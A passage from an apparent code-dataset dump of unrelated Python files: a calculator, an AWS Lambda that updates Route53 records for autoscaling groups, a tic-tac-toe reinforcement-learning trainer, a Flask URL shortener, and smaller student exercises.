(x**(alpha - 1)) * (alpha + (x**(alpha - 1))))\n b = ((x**alpha) - x)\n return a / b\n\n\ndef H(x):\n a = -(alpha**2) * (x**(2 * (alpha - 1)))\n b = ((x**alpha) - x)\n return a / b\n\n\ndef P(x):\n a = -G(x) + sqrt(G(x)**2 - 4 * F(x) * H(x))\n b = -G(x) + sqrt(G(x)**2 - 4 * F(x) * H(x))\n c = 2 * F(x)\n if abs(a / c) <= abs(b / c):\n return a / c\n if abs(a / c) >= abs(b / c):\n return b / c\n else:\n raise ValueError\n\n\nx = sy.symbols('x')\n\na = diff(P(x), x)\n\nPp = sy.lambdify(x, a)\n\nP100 = P(100)\nPp100 = Pp(100)\n\nx = np.linspace(.192, .193, 100)\ny = P100 * (x - kbar) + kbar\nyp = .5 * Pp100 * (x - kbar) + P100 * (x - kbar) + kbar\n\nplt.plot(x, y)\nplt.plot(x, yp)\n\nplt.show()\n","sub_path":"ProbSets/Econ/Week5/3-4.py","file_name":"3-4.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"168525645","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport re\n\n\ndef add_sub(a_s):\n if '--' in a_s:\n a_s = a_s.replace('--', '+')\n # if '-+' in a_s:\n # a_s = a_s.replace('-+','-')\n # if '+-' in a_s:\n # a_s = a_s.replace('+-','-')\n\n a_s = re.findall('\\-?\\d+\\.?\\d*', a_s)\n ls = []\n for i in range(len(a_s)):\n ls.append(float(a_s[i]))\n return str(sum(ls))\n\n\ndef mul_div(m_d):\n while True:\n m_d01 = re.search(r'\\d+\\.?\\d*[*/](\\d+\\.?\\d*)', m_d)\n if m_d01 == None: return m_d\n if '*' in m_d01.group():\n m_d02 = re.findall(r'\\d+\\.?\\d*', m_d01.group())\n result = float(m_d02[0]) * float(m_d02[1])\n m_d = re.sub(r'\\(?\\d+\\.?\\d*\\*(\\d+\\.?\\d*)\\)?', str(result), m_d, 1)\n elif '/' in m_d01.group():\n m_d03 = re.findall(r'\\d+\\.?\\d*', m_d01.group())\n result = float(m_d03[0]) / float(m_d03[1])\n m_d = re.sub(r'\\(?\\d+\\.?\\d*\\/(\\d+\\.?\\d*)\\)?', str(result), m_d, 1)\n else:\n break\n return m_d\n\n\ndef result_all(r_a):\n while True:\n if re.findall('[*/]', r_a):\n r_a = mul_div(r_a)\n if re.findall('[+-]', r_a):\n r_a = add_sub(r_a)\n else:\n break\n return r_a\n\n\ndef remove_brackets(r_b):\n while True:\n if '(' in r_b:\n r_b1 = re.search(r'\\([^()]+\\)', r_b)\n r_b1 = result_all(r_b1.group())\n r_b = re.sub(r'\\([^()]+\\)', str(r_b1), r_b, 1)\n else:\n break\n return result_all(r_b)\n\n\nwhile True:\n run_num = \"\".join(input(\">>输入计算公式:\").split())\n print(remove_brackets(run_num.strip()))\n","sub_path":"week01/test001.py","file_name":"test001.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"13197567","text":"#----------------------------------------------------------------------\n# Copyright (c) 2014-2015 Raytheon BBN Technologies\n#\n# Permission is hereby granted, free of charge, to any person obtaining\n# a copy of this software and/or hardware specification (the \"Work\") to\n# deal in the Work without restriction, including without limitation the\n# rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Work, and to permit persons to whom the Work\n# is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be\n# included in all copies or substantial portions of the Work.\n#\n# THE WORK IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE WORK OR THE USE OR OTHER DEALINGS\n# IN THE WORK.\n#----------------------------------------------------------------------\nimport json\nimport ConfigParser\n#import requests\nimport logger\nimport os\n\nclass OpsconfigLoader:\n\n def __init__(self, config_path):\n self.config_path = config_path\n self.load_from_local_config()\n self.logger = logger.get_logger(config_path)\n\n\n def load_from_network_config(self):\n config = ConfigParser.ConfigParser()\n config.read(self.config_path + \"/collector_operator.conf\")\n self.config_store_url = config.get(\"main\", \"configstoreurl\")\n self.cert_path = config.get(\"main\", \"certificatepath\")\n\n# try:\n# resp = requests.get(self.config_store_url, verify=False, cert=self.cert_path)\n# self.config_json= json.loads(resp.content)\n# except Exception, e:\n# self.logger.warning(\"Cannot reach the config local datastore at \", self.config_store_url)\n# self.logger.warning(e)\n self.load_from_local_config()\n\n\n def load_from_local_config(self):\n self.config_json = json.load(open(os.path.join(self.config_path, \"opsconfig.json\")))\n\n\n def get_event_types(self):\n\n opsconfig = self.config_json\n\n event_types = {}\n event_types[\"node\"] = []\n event_types[\"interface\"] = []\n event_types[\"interfacevlan\"] = []\n event_types[\"experiment\"] = []\n event_types[\"aggregate\"] = []\n\n # node event types\n for ev_i in opsconfig[\"events\"][\"node\"]:\n event_types[\"node\"].append(ev_i[\"name\"])\n\n # interface event types\n for ev_i in opsconfig[\"events\"][\"interface\"]:\n event_types[\"interface\"].append(ev_i[\"name\"])\n\n # interfacevlan event types\n for ev_i in opsconfig[\"events\"][\"interfacevlan\"]:\n event_types[\"interfacevlan\"].append(ev_i[\"name\"])\n\n # experiment event types\n for ev_i in opsconfig[\"events\"][\"experiment\"]:\n event_types[\"experiment\"].append(ev_i[\"name\"])\n\n # aggregate event types\n for ev_i in opsconfig[\"events\"][\"aggregate\"]:\n event_types[\"aggregate\"].append(ev_i[\"name\"])\n\n return event_types\n\n\n def get_data_schema(self):\n \"\"\"\n Method to get the DB data tables schema.\n The schema is a dictionary where the keys are the table names and the values are lists.\n These lists contain lists each with 2 objects: column name, column type. There is \n one extra list in the value list, which contains the \"units\" string and the type of the\n units for that table.\n :return: the DB tables data schema. \n \"\"\"\n\n opsconfig = self.config_json\n data_schema = {}\n\n # node event types\n # add ops_ to avoid namespace collision with database (i.e.,\n # user not allowed)\n for ev_i in opsconfig[\"events\"][\"node\"]:\n data_schema[\"ops_node_\" + ev_i[\"name\"]] = [[\"id\", ev_i[\"id\"]], [\"ts\", ev_i[\"ts\"]], [\"v\", ev_i[\"v\"]], [\"units\", ev_i[\"units\"]]]\n\n # interface event types\n for ev_i in opsconfig[\"events\"][\"interface\"]:\n data_schema[\"ops_interface_\" + ev_i[\"name\"]] = [[\"id\", ev_i[\"id\"]], [\"ts\", ev_i[\"ts\"]], [\"v\", ev_i[\"v\"]], [\"units\", ev_i[\"units\"]]]\n\n # interfacevlan event types\n for ev_i in opsconfig[\"events\"][\"interfacevlan\"]:\n data_schema[\"ops_interfacevlan_\" + ev_i[\"name\"]] = [[\"id\", ev_i[\"id\"]], [\"ts\", ev_i[\"ts\"]], [\"v\", ev_i[\"v\"]], [\"units\", ev_i[\"units\"]]]\n\n # experiment event types\n for ev_i in opsconfig[\"events\"][\"experiment\"]:\n data_schema[\"ops_experiment_\" + ev_i[\"name\"]] = [[\"id\", ev_i[\"id\"]], [\"ts\", ev_i[\"ts\"]], [\"v\", ev_i[\"v\"]], [\"units\", ev_i[\"units\"]]]\n\n # aggregate event types\n for ev_i in opsconfig[\"events\"][\"aggregate\"]:\n data_schema[\"ops_aggregate_\" + ev_i[\"name\"]] = [[\"id\", ev_i[\"id\"]], [\"ts\", ev_i[\"ts\"]], [\"v\", ev_i[\"v\"]], [\"units\", ev_i[\"units\"]]]\n\n return data_schema\n\n\n def get_info_schema(self):\n \"\"\"\n Method to get the DB information tables schema.\n The schema is a dictionary where the keys are the table names and the values are lists.\n These lists contain lists each with 3 objects: column name, column type and whether the column is required.\n :return: the DB information tables schema. \n \"\"\"\n\n opsconfig = self.config_json\n info_schema = {}\n\n # info schema is json-formatted array\n # add ops_ to avoid namespace collision with database (i.e.,\n # user not allowed)\n for info_i in opsconfig[\"info\"]:\n info_schema[\"ops_\" + info_i[\"name\"]] = info_i[\"db_schema\"]\n\n return info_schema\n\n def get_info_constraints(self):\n \"\"\"\n Method to get the DB information tables constraints.\n The constraints object is a dictionary where the keys are the table names and the values are lists.\n These lists contain lists each with 2 objects: a constraint format string and a list of arguments \n for the format (i.e. column or table names).\n :return: the DB information tables constraints. \n \"\"\"\n opsconfig = self.config_json\n info_constr = {}\n\n # info schema is json-formatted array\n # add ops_ to avoid namespace collision with database (i.e.,\n # user not allowed)\n for info_i in opsconfig[\"info\"]:\n info_constr[\"ops_\" + info_i[\"name\"]] = info_i[\"constraints\"]\n\n return info_constr\n\n def get_info_dependencies(self):\n \"\"\"\n Method to get the DB information tables dependencies.\n The dependencies object is a dictionary where the keys are the table names and the values are lists.\n These lists contain the names of the tables the table identified by the key, is dependent upon.\n :return: the DB information tables dependencies. \n \"\"\"\n opsconfig = self.config_json\n info_dep = {}\n\n # info schema is json-formatted array\n # add ops_ to avoid namespace collision with database (i.e.,\n # user not allowed)\n for info_i in opsconfig[\"info\"]:\n info_dep[\"ops_\" + info_i[\"name\"]] = info_i[\"dependencies\"]\n\n return info_dep\n","sub_path":"common/opsconfig_loader.py","file_name":"opsconfig_loader.py","file_ext":"py","file_size_in_byte":7371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"329693865","text":"import json\nimport logging\nimport boto3\nimport sys\nimport os\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\nautoscaling = boto3.client('autoscaling')\nec2 = boto3.client('ec2')\nroute53 = boto3.client('route53')\n\nHOSTNAME_TAG_NAME = \"asg:hostname_pattern\"\n\nLIFECYCLE_KEY = \"LifecycleHookName\"\nASG_KEY = \"AutoScalingGroupName\"\n\n# Fetches IP of an instance via EC2 API\ndef fetch_ip_from_ec2(instance_id):\n logger.info(\"Fetching IP for instance-id: %s\", instance_id)\n ip_address = None\n ec2_response = ec2.describe_instances(InstanceIds=[instance_id])['Reservations'][0]['Instances'][0]\n if ec2_response['State']['Name'] == 'running':\n if 'use_public_ip' in os.environ and os.environ['use_public_ip'] == \"true\":\n try:\n ip_address = ec2_response['PublicIpAddress']\n logger.info(\"Found public IP for instance-id %s: %s\", instance_id, ip_address)\n except:\n logger.info(\"No public IP for instance-id %s: %s\", instance_id, ip_address)\n else:\n try:\n ip_address = ec2_response['PrivateIpAddress']\n logger.info(\"Found private IP for instance-id %s: %s\", instance_id, ip_address)\n except:\n logger.info(\"No private IP for instance-id %s: %s\", instance_id, ip_address)\n\n return ip_address\n\n# Fetches IP of an instance via route53 API\ndef fetch_ip_from_route53(hostname, zone_id):\n logger.info(\"Fetching IP for hostname: %s\", hostname)\n\n ip_address = route53.list_resource_record_sets(\n HostedZoneId=zone_id,\n StartRecordName=hostname,\n StartRecordType='A',\n MaxItems='1'\n )['ResourceRecordSets'][0]['ResourceRecords'][0]['Value']\n\n logger.info(\"Found IP for hostname %s: %s\", hostname, ip_address)\n\n return ip_address\n\n# Fetches relevant tags from ASG\n# Returns tuple of hostname_pattern, zone_id\ndef fetch_tag_metadata(asg_name):\n logger.info(\"Fetching tags for ASG: %s\", asg_name)\n\n tag_value = autoscaling.describe_tags(\n Filters=[\n {'Name': 'auto-scaling-group','Values': [asg_name]},\n {'Name': 'key','Values': [HOSTNAME_TAG_NAME]}\n ],\n MaxRecords=1\n )['Tags'][0]['Value']\n\n logger.info(\"Found tags for ASG %s: %s\", asg_name, tag_value)\n\n return tag_value.split(\"@\")\n\n# Builds a hostname according to pattern\ndef build_hostname(hostname_pattern, instance_id):\n return hostname_pattern.replace('#instanceid', instance_id)\n\n# Updates the name tag of an instance\ndef update_name_tag(instance_id, hostname):\n tag_name = hostname.split('.')[0]\n logger.info(\"Updating name tag for instance-id %s with: %s\", instance_id, tag_name)\n ec2.create_tags(\n Resources = [\n instance_id\n ],\n Tags = [\n {\n 'Key': 'Name',\n 'Value': tag_name\n }\n ]\n )\n\n# Updates a Route53 record\ndef update_record(zone_id, ips, hostname):\n if len(ips) == 0:\n ips.append({'Value': fetch_ip_from_route53(hostname, zone_id)})\n operation = 'DELETE'\n else:\n operation = 'UPSERT'\n logger.info(\"Changing record with %s for %s -> %s in %s\", operation, hostname, ips, zone_id)\n route53.change_resource_record_sets(\n HostedZoneId=zone_id,\n ChangeBatch={\n 'Changes': [\n {\n 'Action': operation,\n 'ResourceRecordSet': {\n 'Name': hostname,\n 'Type': 'A',\n 'TTL': 300,\n 'ResourceRecords': ips\n }\n }\n ]\n }\n )\n\ndef process_asg(auto_scaling_group_name, hostname, ignore_instance):\n # Iterate through the instance group: Put IP addresses into a list and update the instance names to match the group.\n # ignore_instance should only be provided if we are terminating an instance.\n ips = []\n # IP's is a list of dictionaries [{'Value': ipAddr1},{'Value': ipAddr2}] eg [{'Value':'127.0.0.1'}]\n if ignore_instance is None:\n logger.info(\"Processing ASG %s\", auto_scaling_group_name)\n else:\n logger.info(\"Ignoring instance-id %s while Processing ASG %s\", ignore_instance, auto_scaling_group_name)\n for instance in autoscaling.describe_auto_scaling_groups(AutoScalingGroupNames=[auto_scaling_group_name])['AutoScalingGroups'][0]['Instances']:\n if ignore_instance != instance['InstanceId']:\n ipAddr = fetch_ip_from_ec2(instance['InstanceId'])\n if ipAddr is not None:\n ips.append({'Value': ipAddr})\n update_name_tag(instance['InstanceId'], hostname)\n return ips\n\n\n# Processes a scaling event\n# Builds a hostname from tag metadata, fetches a IP, and updates records accordingly\ndef process_message(message):\n if 'LifecycleTransition' not in message:\n logger.info(\"Processing %s event\", message['Event'])\n return\n logger.info(\"Processing %s event\", message['LifecycleTransition'])\n\n if message['LifecycleTransition'] not in (\"autoscaling:EC2_INSTANCE_LAUNCHING\",\"autoscaling:EC2_INSTANCE_TERMINATING\", \"autoscaling:EC2_INSTANCE_LAUNCH_ERROR\"):\n logger.error(\"Encountered unknown event type: %s\", message['LifecycleTransition'])\n\n asg_name = message['AutoScalingGroupName']\n instance_id = message['EC2InstanceId']\n\n ignore_instance = None\n if message['LifecycleTransition'] == 'autoscaling:EC2_INSTANCE_TERMINATING':\n ignore_instance = instance_id\n logger.info(\"The following instance-id should be ignored %s\", instance_id)\n\n hostname_pattern, zone_id = fetch_tag_metadata(asg_name)\n hostname = build_hostname(hostname_pattern, \"\")\n\n ip_addrs = process_asg(asg_name, hostname, ignore_instance)\n update_record(zone_id, ip_addrs, hostname)\n\n# Picks out the message from a SNS message and deserializes it\ndef process_record(record):\n process_message(json.loads(record['Sns']['Message']))\n\n# Main handler where the SNS events end up to\n# Events are bulked up, so process each Record individually\ndef lambda_handler(event, context):\n logger.info(\"Processing SNS event: \" + json.dumps(event))\n\n for record in event['Records']:\n process_record(record)\n\n # Finish the asg lifecycle operation by sending a continue result\n logger.info(\"Finishing ASG action\")\n message = json.loads(record['Sns']['Message'])\n if LIFECYCLE_KEY in message and ASG_KEY in message :\n response = autoscaling.complete_lifecycle_action (\n LifecycleHookName = message['LifecycleHookName'],\n AutoScalingGroupName = message['AutoScalingGroupName'],\n InstanceId = message['EC2InstanceId'],\n LifecycleActionToken = message['LifecycleActionToken'],\n LifecycleActionResult = 'CONTINUE'\n )\n logger.info(\"ASG action complete: %s\", response)\n else :\n logger.error(\"No valid JSON message\")\n\n# if invoked manually, assume someone pipes in a event json\nif __name__ == \"__main__\":\n logging.basicConfig()\n\n lambda_handler(json.load(sys.stdin), None)\n\n","sub_path":"lambda/multihost/autoscale.py","file_name":"autoscale.py","file_ext":"py","file_size_in_byte":7099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"422180004","text":"#!/usr/bin/env python\n\nimport day16\n\nTEST_INPUT = \"\"\"#ip 0\nseti 5 0 1\nseti 6 0 2\naddi 0 1 0\naddr 1 2 3\nsetr 1 0 0\nseti 8 0 4\nseti 9 0 5\"\"\".split('\\n')\n\nREAL_INPUT = \"\"\"\"\"\".split('\\n')\n\n\ndef run_prog(puzzle_input, reg_0=0, go_through_all=False):\n registers = [reg_0, 0, 0, 0, 0, 0]\n instruction_ptr = int(puzzle_input[0].split()[-1])\n puzzle = puzzle_input[1:]\n while 0 <= registers[instruction_ptr] < len(puzzle):\n if not go_through_all and registers[instruction_ptr] == 1:\n # once we hit this point, the code basically adds up all the\n # factors of register 2 and store them in register 0.\n # Note your puzzle input will probably use a different register\n # than mine, so try all registers 1-5 EXCEPT your instruction\n # pointer\n return sum(\n i for i in range(1, registers[2] + 1)\n if registers[2] % i == 0\n )\n line = puzzle[registers[instruction_ptr]]\n func_name, operand_1, operand_2, result_reg = line.split()\n operand_1 = int(operand_1)\n operand_2 = int(operand_2)\n result_reg = int(result_reg)\n func = getattr(day16, func_name)\n registers[result_reg] = func(registers, [0, operand_1, operand_2])\n registers[instruction_ptr] += 1\n registers[instruction_ptr] -= 1\n return registers\n\n\nif __name__ == '__main__':\n assert run_prog(TEST_INPUT, go_through_all=True) == [6, 5, 6, 0, 0, 9]\n print(run_prog(REAL_INPUT))\n print(run_prog(REAL_INPUT, 1))\n","sub_path":"day19.py","file_name":"day19.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"553053769","text":"import numpy as np\nfrom math import inf as infinity\nfrom itertools import product\nfrom collections import defaultdict\nimport random\nimport time\n\n\n# Initializing the Tic-Tac-Toe environment\n# Three rows-Three columns, creating an empty list of three empty lists\nstate_space = [[' ', ' ', ' '], [' ', ' ', ' '], [' ', ' ', ' ']]\n# No. of players = 2 : X & O\nplayers = ['X', 'O']\n\n\n# Defining the play state_value, player and the cell number\ndef play(sv, each_player, cell):\n if sv[int((cell - 1) / 3)][(cell - 1) % 3]is ' ':\n sv[int((cell - 1) / 3)][(cell - 1) % 3] = each_player\n else:\n cell = int(input(\" Choose again, Cell is not empty: \"))\n play(sv, each_player, cell)\n\n\n# Defining new state function: which traverse over rows and columns and returns new state\ndef new(state):\n ns = [[' ', ' ', ' '], [' ', ' ', ' '], [' ', ' ', ' ']]\n for i in range(3):\n for j in range(3):\n ns[i][j] = state[i][j]\n return ns\n\n\n# Determining the current state value and determining the win\ndef cur_state(state_space):\n if (state_space[0][0] == state_space[0][1] and state_space[0][1] == state_space[0][2] and state_space[0][\n 0] is not ' '):\n return state_space[0][0], \"Done\"\n if (state_space[1][0] == state_space[1][1] and state_space[1][1] == state_space[1][2] and state_space[1][\n 0] is not ' '):\n return state_space[1][0], \"Done\"\n if (state_space[2][0] == state_space[2][1] and state_space[2][1] == state_space[2][2] and state_space[2][\n 0] is not ' '):\n return state_space[2][0], \"Done\"\n\n if (state_space[0][0] == state_space[1][0] and state_space[1][0] == state_space[2][0] and state_space[0][\n 0] is not ' '):\n return state_space[0][0], \"Done\"\n if (state_space[0][1] == state_space[1][1] and state_space[1][1] == state_space[2][1] and state_space[0][\n 1] is not ' '):\n return state_space[0][1], \"Done\"\n if (state_space[0][2] == state_space[1][2] and state_space[1][2] == state_space[2][2] and state_space[0][\n 2] is not ' '):\n return state_space[0][2], \"Done\"\n\n if (state_space[0][0] == state_space[1][1] and state_space[1][1] == state_space[2][2] and state_space[0][\n 0] is not ' '):\n return state_space[1][1], \"Done\"\n if (state_space[2][0] == state_space[1][1] and state_space[1][1] == state_space[0][2] and state_space[2][\n 0] is not ' '):\n return state_space[1][1], \"Done\"\n # if none of the above is true there must be a draw\n draw = 0\n for i in range(3):\n for j in range(3):\n if state_space[i][j] is ' ':\n draw = 1\n if draw is 0:\n return None, \"Draw\"\n\n return None, \"Not Done\"\n\n\n# Defining the outline of the Tic-Tac Toe for the state_space or environment\n'''def outline(state_space):\n # converting the move to be str as our players X and O are characters\n first = str(state_space[0][0])\n second = str(state_space[0][1])\n third = str(state_space[0][2])\n fourth = str(state_space[1][0])\n fifth = str(state_space[1][1])\n sixth = str(state_space[1][2])\n seventh = str(state_space[2][0])\n eighth = str(state_space[2][1])\n ninth = str(state_space[2][2])\n print(str(state_space[0][0]) + '|' + str(state_space[0][1]) + '|' + str(state_space[0][2]))\n print(str(state_space[1][0]) + '|' + str(state_space[1][1]) + '|' + str(state_space[1][2]))\n print(str(state_space[2][0]) + '|' + str(state_space[2][1]) + '|' + str(state_space[2][2]))'''\n\ndef outline(state_space):\n print('----------------')\n print('| ' + str(state_space[0][0]) + ' || ' + str(state_space[0][1]) + ' || ' + str(state_space[0][2]) + ' |')\n print('----------------')\n print('| ' + str(state_space[1][0]) + ' || ' + str(state_space[1][1]) + ' || ' + str(state_space[1][2]) + ' |')\n print('----------------')\n print('| ' + str(state_space[2][0]) + ' || ' + str(state_space[2][1]) + ' || ' + str(state_space[2][2]) + ' |')\n print('----------------')\n\n# Initializing state values\neach_player = ['X', 'O', ' ']\nstates_dictionary = {}\n# listing all possible states\nstates = [[list(i[0:3]), list(i[3:6]), list(i[6:10])] for i in product(each_player, repeat=9)]\n# getting Total number of states\nTotal_states = len(states)\nprint(\"Total number of states = \", Total_states)\n# Total number of moves/ actions in Tic-Tac-Toe is 9\nTotal_moves = 9\nprint(\"Total number of actions = \", Total_moves)\n# Initializing state values for X and O players to 0 intially\nsv_X = np.full(Total_states, 0.0)\nsv_O = np.full(Total_states, 0.0)\n\n# Defining the state values for 'X'\nfor i in range(Total_states):\n states_dictionary[i] = states[i]\n won_by, _ = cur_state(states_dictionary[i])\n if won_by == 'X':\n sv_X[i] = 1\n elif won_by == 'O':\n sv_X[i] = -1\n\n# Defining the state values for 'O'\nfor i in range(Total_states):\n won_by, _ = cur_state(states_dictionary[i])\n if won_by == 'O':\n sv_O[i] = 1\n elif won_by == 'X':\n sv_O[i] = -1\n\n\n# Using Update rule of Temporal difference to update the state value of 'X'\n# V(s) <- V(s) + alpha * ((V(s^f) - V(s))\n# current_state_value <- current_state_value + learning_rate * (new_state_value - current_state_value)\ndef update_X(alpha, csv, nsv):\n # alpha: learning rate, csv: current state value, nsv: next state value\n sv_X[csv] = sv_X[csv] + alpha * sv_X[nsv]\n\n\n# Using Update rule of Temporal difference to update the state value of 'O'\n# V(s) <- V(s) + alpha * ((V(s^f) - V(s))\n# current_state_value <- current_state_value + learning_rate * (new_state_value - current_state_value)\ndef update_O(alpha, csv, nsv):\n # alpha: learning rate, csv: current state value, nsv: next state value\n sv_O[csv] = sv_O[csv] + alpha * sv_O[nsv]\n\n\n# Training our Tic-Tac-Toe agent\n# Temporal difference: A RL Algo.\ndef TD(sv, each_player, epsilon):\n actions = []\n curr_state_values = []\n empty_cells = []\n for i in range(3):\n for j in range(3):\n if sv[i][j] is ' ':\n empty_cells.append(i * 3 + (j + 1))\n\n for empty_cell in empty_cells:\n actions.append(empty_cell)\n new_state = new(sv)\n play(new_state, each_player, empty_cell)\n next_sid = list(states_dictionary.keys())[list(states_dictionary.values()).index(new_state)]\n if each_player == 'X':\n curr_state_values.append(sv_X[next_sid])\n else:\n curr_state_values.append(sv_O[next_sid])\n\n print('Possible Action moves = ' + str(actions))\n print('Action Move values = ' + str(curr_state_values))\n best_move_id = np.argmax(curr_state_values)\n\n if np.random.uniform(0, 1) <= epsilon: # Exploration\n best_move = random.choice(empty_cells)\n print('Agent decides to explore! Takes action = ' + str(best_move))\n epsilon *= 0.99\n else: # Exploitation\n best_move = actions[best_move_id]\n print('Agent decides to exploit! Takes action = ' + str(best_move))\n return best_move\n\n\n# Loading the policy or trained state values\nsv_X = np.loadtxt('lib/game/trained_X.txt', dtype=np.float64)\nsv_O = np.loadtxt('lib/game/trained_O.txt', dtype=np.float64)\n\n# Alpha/learning rate/step-size parameter value in Update rule of Temporal difference\nalpha = 0.2\n# Epsilon threshold value is initialized initially to 0.2\nepsilon = 0.99\n# Number of times to train say n\nn = 1\nfor iteration in range(n):\n state_space = [[' ', ' ', ' '], [' ', ' ', ' '], [' ', ' ', ' ']]\n curr_state = \"Not Done\"\n print(\"Iteration no.\" + str(iteration))\n outline(state_space)\n won_by = None\n cid = random.choice([0, 1]) # current player id\n\n while curr_state == \"Not Done\":\n csv = list(states_dictionary.keys())[list(states_dictionary.values()).index(state_space)]\n if cid == 0:\n print(\"Now Agent X's turn:\")\n cell_select = TD(state_space, players[cid], epsilon)\n play(state_space, players[cid], cell_select)\n nid = list(states_dictionary.keys())[list(states_dictionary.values()).index(state_space)]\n\n else:\n print(\"Now Agent O's turn:\")\n cell_select = TD(state_space, players[cid], epsilon)\n play(state_space, players[cid], cell_select)\n nid = list(states_dictionary.keys())[list(states_dictionary.values()).index(state_space)]\n\n outline(state_space)\n update_X(alpha, cid, nid)\n update_O(alpha, cid, nid)\n won_by, curr_state = cur_state(state_space)\n if won_by is not None:\n print(str(won_by) + \" Won Won Won!\")\n elif curr_state is \"Draw\":\n print(\"Draw Draw Draw!!!\")\n else:\n cid = (cid + 1) % 2\n\nprint(\"Congratulations! Training completed! :D\")\n\n# Saving the policy or results\nnp.savetxt('trained_X.txt', sv_X, fmt='%.6f')\nnp.savetxt('trained_O.txt', sv_O, fmt='%.6f')\n\n","sub_path":"backup/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":8872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"314213991","text":"import datetime\nimport random\nimport string\n\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom flask import (\n Flask,\n abort,\n jsonify,\n redirect,\n request,\n)\n\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm.exc import NoResultFound\n\napp = Flask(__name__)\napp.config.from_pyfile(\"shorter_config.py\", silent=True)\napp.config.setdefault(\"SQLALCHEMY_DATABASE_URI\", \"sqlite:///shorter.db\")\n\ndb = SQLAlchemy(app)\n\n\ndef random_string(n):\n return ''.join(random.choice(string.ascii_letters) for x in range(n))\n\n\nclass Url(db.Model):\n __tablename__ = \"url\"\n\n id = db.Column(db.Integer, primary_key=True)\n short = db.Column(db.String, unique=True, nullable=False)\n full = db.Column(db.String, nullable=False)\n stats = db.Column(db.Integer, default=0, nullable=False)\n created_at = db.Column(\n db.DateTime(timezone=True), default=datetime.datetime.now,\n nullable=False, index=True)\n\n def __init__(self, url, length=6):\n self.full = url\n self.created_at = datetime.datetime.now()\n self.short = random_string(length)\n\n def __repr__(self):\n return \" '{1}', count: {2})>\".format(\n self.short, self.full, self.stats)\n\n\n@app.before_first_request\ndef initialize_database():\n db.create_all()\n\n\n@app.route(\"/\")\ndef greeting():\n return \"Welcome to url shorten service!\"\n\n\n@app.route(\"/url\", methods=[\"POST\"])\ndef shorten():\n def _save(url):\n for i in range(10):\n try:\n url_model = Url(url)\n db.session.add(url_model)\n db.session.commit()\n return url_model.short\n except IntegrityError as e:\n app.logger.info(e)\n db.session.rollback()\n abort(500)\n\n def _short(url):\n url_model = Url.query.filter(Url.full == url).first()\n return url_model.short if url_model else _save(url)\n\n if request.json:\n url = request.json[\"url\"]\n return jsonify({\"short\": _short(url)})\n else:\n url = request.form[\"url\"]\n return _short(url)\n\n\n@app.route(\"/\")\ndef expand(short):\n try:\n url = Url.query.filter(Url.short == short).one()\n return redirect(url.full)\n except NoResultFound:\n abort(404)\n\n\ndef main():\n app.run(debug=True)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"shorter.py","file_name":"shorter.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"45732016","text":"# -*- coding: utf-8 -*-\r\n\r\n# 구구단의 실행 결과를 저장하는 리스트 생성하세요.\r\n\r\n# 중첩된 반복문을 활용하여 리스트의 값을 추가\r\n#list_gugudan = []\r\n#for i in range(2,10) :\r\n# for j in range(1,10) :\r\n# list_gugudan.append(i*j)\r\n\r\nlist_i = range(2,10)\r\nlist_j = range(1,10)\r\n\r\n# 리스트 변수의 선언에 중첩된 for 문이 활용되는 예제\r\n# 리스트변수명 = [실행문 외부의 for문 내부의 for문]\r\nlist_gugudan = [i * j for i in list_i\r\n for j in list_j] \r\n \r\nprint(list_gugudan)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"day_04/for_13.py","file_name":"for_13.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"105716545","text":"#*******************************************************************\r\n#Program Name: FINAL#1.py\r\n#Programmer: Gabriela Tolosa Ramirez\r\n#CSC - 119: Fall 2018 - 002\r\n#Date: Dec 10 ,2018\r\n#Purpose: Have the user input a number and test if it's\r\n# even or odd. Test for ValueError.\r\n#Modules used: N/A\r\n#Input Variable(s): num(int),cont(stg)\r\n#Output(s): num(int)\r\n#*******************************************************************\r\n\r\ndef main():\r\n cont = 'y'\r\n while cont.lower() == 'y':\r\n try:\r\n num = int(input(\"Please enter a number: \"))\r\n numKind = num%2\r\n if numKind == 1:\r\n print(\"The number:\",num,\"is odd\")\r\n else:\r\n print(\"The number:\",num,\"is even\")\r\n cont = input(\"Would you like to try again? (y/n)\")\r\n #test for ValueError and display if input isn't a number\r\n except ValueError:\r\n print(\"Sorry, you did not input a number, please try again.\")\r\n #test for any other error\r\n except:\r\n print(\"There was an error, please try again.\")\r\n\r\nmain()\r\ninput()\r\n","sub_path":"In-Class work/Day 15 